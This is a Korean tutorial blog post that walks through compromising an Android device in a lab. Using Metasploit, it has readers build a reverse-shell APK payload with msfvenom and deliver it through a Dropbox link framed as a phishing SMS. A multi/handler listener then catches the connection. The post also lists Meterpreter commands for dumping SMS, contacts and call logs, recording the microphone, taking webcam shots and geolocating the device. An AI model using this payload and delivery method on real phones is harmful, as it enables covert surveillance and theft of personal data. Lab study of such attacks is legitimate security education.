[ F0R3NS1C / R3V3RS1NG ]
안녕하세요 해킹보안기술 연구중인 EnIaC 입니다.
이번 강의에 앞서 법적 고지 하고 시작 하도록 하겠습니다.
※ 해당 게시글은 나눔고딕,맑은고딕 글꼴을 권장합니다.
* 본 포스팅에서는 실제 기기를 이용 하려 했으나 기기가 뻗는바람에 실제 기기로 테스트 하지 못한 점
정말 죄송합니다.
또한 20시간 동안 안드로이드 침투테스팅 강좌 쓰느라고 하루종일 앉아있었던 탓에 몸상태가 온전하지 못하여
목소리와 말이 횡설수설 한 점 감안 해 주시길 바랍니다.
[ 동영상 강의 ]
* 두번째 강의는 영상과 사운드의 싱크가 살짝 맞지 않습니다.
오늘은 편집이 불가하고 시간날때 재 수정 해 보도록 하겠습니다.
< 동영상 강의 2부 안드로이드 모의해킹 >
[ 준비물 ]
+ HOST +
- VMWARE 11.0.0 / Oracle VirtualMachine, Genymotion
+ HACKER +
- Kali Linux 1.0.9a
칼리리눅스 1.0.9a 버젼의 데스크탑 화면이다.
< Kali Linux 1.0.9a 데스크탑 화면 >
+ VICTIM +
- Android 4.1.1
- Device : Galaxy S2
- Kernel : 3.4.67
안드로이드 4.1.1 지니모션의 화면이다.
< Android 4.1.1 Genymotion >
[ 첨부파일 ]
안드로이드.zip (동영상에 사용된 PPT)
[ 포스팅 강의 ]
1. 좌측 상단에 있는 터미널 아이콘을 클릭하여 터미널을 켜주도록 하자.
< 사진 1. 터미널 켜기 >
2. 터미널이 정상적으로 켜졌다면 사진에 보이는 것 처럼 크고 아름다운(?) 터미널 창을 볼 수 있다.
<사진 2. 칼리리눅스 터미널>
3. Metasploit 의 유틸리인 msfvenom 명령을 이용하여 악성앱(PAYLOAD) 를 작성 중인 화면이다.
<사진 3. PAYLOAD 작성>
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP ADDRESS LPORT=PORT NUMBER R > /root/Desktop/VIRUS.apk
위와 같이 작성 해 주시면 아래와 같은 화면을 보실 수 있습니다.
※ msfvenom 대신 msfpayload 를 사용 하셔도 됩니다.
Metasploit 의 msfvenom 업데이트에 관한 내용 바로보기
4. 최근 업데이트된 Metasploit 의 msfvenom 유틸리티는 PAYLOAD 작성 후 결과 요약 보고를 하는 기능이 탑제 되어 있어 한눈에 파악하기 쉽다.
<사진 4. PAYLOAD 작성 결과 알림>
드롭박스에 업로드 하여 안드로이드 기기에 옮길 수 있도록 한다.
5. 드롭박스에 업로드하여 안드로이드 기기에 옮기도록 한다.<사진 5. DropBox 에 PAYLOAD 업로드>
업로드 이후 안드로이드 기기에 옮기기 위해 공유 URL 을 복사 해 두도록 한다.
6. 드로박스에 공유 기능을 이용하여 다운로드 URL 을 복사 한다.
<사진 6. 공유 기능을 통한 다운로드 URL 복사>
현재 실습하는 안드로이드는 Genymotion 이라는 가상머신이며 본 가상머신에서는
전화통화 또는 SMS 메시지 송/수신 이 불가 하기 때문에 아래와 같은 악성 메시지를 받아
6-1. 실제 지금 이 순간에도 내 주변 혹은 내게 오는 악성 문자메시지의 이미지이다.
<사진 6-1. 악성 메시지 예제>
URL 을 클릭후 악성앱을 다운로드 받는다는 시나리오 라는 것을 다시 한번 짚고 넘어가겠다.
7. 필자는 크롬 브라우저가 적합하다고 판단하여 크롬 브라우저를 이용 하도록 하겠다.
<사진 7. 웹브라우저 어플리케이션 선택>
이렇게 해커 (즉 칼리리눅스 측)가 만들어 놓은 악성 드롭박스 링크를 클릭하게 될 경우 제 3자 어느 누구든지
다운로드 받을 수 있는 상태의 화면을 볼 수 있다.
희생자 (안드로이드)측은 Download 버튼을 눌러 칼리리눅스에서 제작한 페이로드를 다운로드 해 보았다.
8. 현재 칼리리눅스에서 업로드한 악성 드롭박스 링크를 클릭하여 다운로드 페이지까지 접근 한 상태이다.
<사진 8. 악성 URL 접근>
8-1. Download 버튼을 눌러 VIRUS.apk 파일을 다운로드 한다.
<사진 8-1. Downloading 확인>
8-2. 안드로이드의 상단바를 내려 다운로드가 완료 된 것을 재 확인 한다.
<사진 8-2. 상단바를 내려 완료 확인>
이제 다운로드가 완료 되었으니 실제로 칼리리눅스에서 작성한 페이로드를 설치 해 보도록 하겠다.
다운로드된 apk 파일을 눌러 설치 화면에 접근 해 보도록 하겠다.
아래와 같은 팝업창이 나타난다면 주저하지 말고 Package installer 를 선택하여 패키지를
설치 할 수 있도록 한다.
※ 설치 전 알 수 없는 소스 에 반드시 체크 할 것!
<사진 9. 설치 팝업 1>
<사진 9-1. 설치 팝업 1-1>
이제 패키지 설치 바로 직전까지 왔다.
악성 페이로드 패키지를 설치하기 전 칼리리눅스의 상태를 리스닝 상태로 전환 하여야 한다.
아래와 같이 해 주도록 하자.
10. 이제 얼마 남지 않았다.
칼리리눅스를 최종적으로 리스닝 상태로 전환하여 악성앱을 설치한 VICTIM 의 접속을 대기 하도록 하자.
<사진 10. 리스닝 상태로 전환>
[ 사진 10. 에서 사용된 명령어 ]
msf > use multi/handler
msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp
PAYLOAD => android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.6
LHOST => 192.168.1.6
msf exploit(handler) > set LPORT 81
LPORT => 81
msf exploit(handler) > exploit
위의 상태로 만들어진 칼리리눅스는 최종적으로 악성앱을 설치한 VICTIM 의 접속을 받을 수 있는
상태로 만들어 지게 되는 것 이다.
이제 VICTIM (즉, 안드로이드) 에서 방금 다운로드 받은 악성앱을 설치하여 칼리리눅스에
연결 하도록 한다.
11. MainActivity 라는 칼리리눅스의 PAYLOAD 를 설치 하는 화면이다.
<사진 11. PAYLOAD 설치>
설치 후에 Open 버튼을 눌러 앱을 실행 시켜 주도록 합니다.
12. PAYLOAD 를 실행시켰다면 이제 안드로이드에서 할 수 있는 부분은 끝난 셈이다.
칼리리눅스로 넘어가 보자.
<사진 12. PAYLOAD 실행>
아래와 같이 칼리리눅스로 넘어왔을땐 Meterpreter 라는 쉘이 갑자기 튀어나와 있을 것 입니다.
이는 정상적으로 VICTIM 과의 연결에 성공 했다 라는 것을 증명 하기도 합니다.
이제 Meterpreter 쉘 에서는 안드로이드에게 명령을 내릴 수 있는 환경을 만들어 줍니다.
13. Metasploit 의 Meterpreter Shell 이 떴다.
이제부터 마음껏 안드로이드를 제어 해 보자.
<사진 13. Meterpreter Shell>
이제 Meterpreter 로 할 수 있는 부분을 정리 해 보도록 하겠다.
※ Metasploit 에 대한 자세한 정리는 현재 화이트해커그룹 LockDown 에서
제 프로젝트로 진행 중입니다.
어느정도 완성되면 문서를 공개 하도록 하겠습니다.
프로젝트 이름은 The Kali Linux Special Tools Report 입니다.
[ Meterpreter Help ]
ore Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
help Help menu
info Displays information about a Post module
interact Interacts with a channel
irb Drop into irb scripting mode
load Load one or more meterpreter extensions
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
use Deprecated alias for 'load'
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
ifconfig Display interfaces
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
execute Execute a command
getuid Get the user that the server is running as
ps List running processes
shell Drop into a system command shell
sysinfo Gets information about the remote system, such as OS
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Android Commands
================
Command Description
------- -----------
check_root Check if device is rooted
dump_calllog Get call log
dump_contacts Get contacts list
dump_sms Get sms messages
geolocate Get current lat-long using geolocation
Meterpreter 에서 Help 명령을 입력하면 위와 같은 도움말이 출력된다.
하나하나 모두 해석하게 될 경우 정말 악용에 용이할 것 같아 일일이 해석하지는 않겠다.
이제 Metasploit 으로 안드로이드를 마음껏 제어하면 된다.
다시한번 말하지만 이 과정은 악용되기 쉬운 과정이다.
악용은 절대적으로 금지하며 무단배포/무단수정 또한 금하겠습니다.
이상 Android 모의해킹 강의에 EnIaC 이었습니다.
WRITTEN BY
- EnIaC
WhiteHackerGroup 『LockDown』 EnIaC 입니다.